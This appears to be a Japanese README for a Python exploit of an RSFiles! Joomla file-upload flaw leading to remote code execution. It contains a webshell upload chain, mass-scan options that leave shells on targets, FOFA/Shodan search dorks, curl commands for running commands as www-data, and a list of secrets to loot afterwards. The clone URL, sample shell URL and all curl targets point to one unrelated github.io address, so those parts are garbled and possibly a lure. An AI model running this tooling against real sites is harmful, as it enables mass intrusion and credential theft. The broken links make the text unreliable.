
任意のファイルアップロードを介して、RSFiles! Joomlaコンポーネントにおける未認証のリモートコード実行の脆弱性を実証します。
CVE-2026-57827 は、Joomla向けの広く利用されているファイルマネージャー兼ダウンロードコンポーネントである RSFiles!(com_rsfiles)のバージョン < 1.17.12 に存在する、深刻度クリティカル(CVSS 9.8)の未認証任意ファイルアップロード脆弱性です。
この脆弱性は、分割コントローラ設計の欠陥を悪用します。RSFiles! はアップロード処理を2つのフロントエンドタスクに分割しています。すなわち、事前チェック(権限ゲート+拡張子許可リスト)と書き込みメソッド(ファイルをディスクに保存)です。書き込みメソッドは直接呼び出すことができ、事前チェックを完全にバイパスできます。認証もCSRFトークンも不要です。
| バージョン | 状態 |
|---|---|
| < 1.17.12 | 脆弱 |
| 1.17.12+ | 修正済み |
発見者: Phil Taylor, mySites.guru(2026年7月10日) ベンダー: RSJoomla(rsjoomla.com) コンポーネント: com_rsfiles
RSFiles! はアップロード処理を /components/com_rsfiles/controllers/rsfiles.php 内の2つの独立したフロントエンドタスクに分割しています。
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload を介して任意のタスクを直接呼び出すことを許可しており、事前チェックを完全に回避できます。JFile::upload())に渡します。このハンドラーはデフォルトで任意のファイルタイプを受け入れます。.htaccess は、オプトインの管理者設定であり、デフォルトではOFFです。1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| ファイル | 目的 |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | 脆弱な upload() および checkupload() タスクを含むコントローラー |
/components/com_rsfiles/views/upload/tmpl/upload.php | フロントエンドのアップロードフォームテンプレート(確認済み: name="file"、task=rsfiles.upload) |
/downloads/ | Web ルート内のデフォルトのダウンロードフォルダ(.htaccess 保護はデフォルトで OFF) |
/briefcase/ | Briefcase フォルダ(こちらも書き込み可能) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
セキュリティチェック(パーミッションゲート + 拡張子許可リスト)は、実際にファイルを書き込むメソッドとは別個の事前チェックステップになっています。チェックを保持しているのは最初のメソッドだけです。2番目のメソッド — ディスクに書き込む方 — は、URL 内の適切な task パラメータを細工することで直接呼び出すことができ、すべてのセキュリティ制御をバイパスできます。
これは「チェックとアクションが別の場所にある」というアンチパターンの典型例です。ガードと、それが保護すべき操作が分離されており、攻撃者はガードを経由せずに操作に到達できるのです。
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
ステップ 1 — シェルをアップロードする
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
ステップ2 — シェルにアクセスする
curl 'https://candisexterior171.github.io'
ステップ3 — コマンドを実行する
curl 'https://candisexterior171.github.io;hostname;uname -a'
緩和策(アップデートが不可能な場合)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
悪用に成功すると、Webサーバーユーザーとしてのリモートコード実行が可能になります:
configuration.php を抽出 → データベース認証情報、SMTPシークレットどの段階でもサイト上のアカウントは不要です。匿名、未認証、リモートで実行可能です。
RSJoomlaはバージョン1.17.12で以下の方法により脆弱性を修正しました:
.htaccess保護をデフォルトで有効に設定NUR FÜR BILDUNGS- UND AUTORISIERTE TESTZWECKE.
所有者からの明示的な許可なくシステムに対して使用しないでください。著者は悪用について一切の責任を負いません。
| リソース | リンク |
|---|---|
| NVDエントリ | CVE-2026-57827 |
| mySites.guruアドバイザリ | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| RSJoomlaアドバイザリ | rsjoomla.com |
| CWE-434 | 危険な種類のファイルの無制限アップロード |
| 報告者 | Phil Taylor, mySites.guru |
RSJoomlaおよびmySites.guruとは提携していません。